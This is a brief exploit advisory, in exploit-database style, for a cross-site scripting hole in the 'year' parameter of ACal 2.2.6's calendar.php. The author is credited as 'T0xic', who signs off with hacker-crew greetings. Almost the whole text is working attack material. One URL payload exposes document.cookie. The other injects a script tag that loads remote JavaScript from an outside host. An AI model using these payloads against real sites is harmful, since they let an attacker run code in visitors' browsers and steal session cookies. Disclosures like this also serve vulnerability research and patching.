ACal 2.2.6 Cross Site Scripting

`=================================================================  
=ACal-2.2.6 XSS Vulnerability  
=================================================================  
  
# Exploit Title: ACal-2.2.6 XSS Vulnerability  
# Date: 02.09.2011  
# Author: T0xic  
# Category: webapps/0day  
# Script url: http://acalproj.sourceforge.net/  
# Version: N/A  
# Tested on:  
# CVE :   
  
[ EXPL0!T ]  
  
=> http://www.example.com/calendar/calendar.php?year=<script>alert(document.cookie)</script>  
  
  
Exemple exploit code :  
  
=> “><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT><”  
  
#================[ Exploited By T0xic ]================  
#Greets To : Dz Offenders Cr3w < Algerians HaCkerS > =  
#======================================================  
`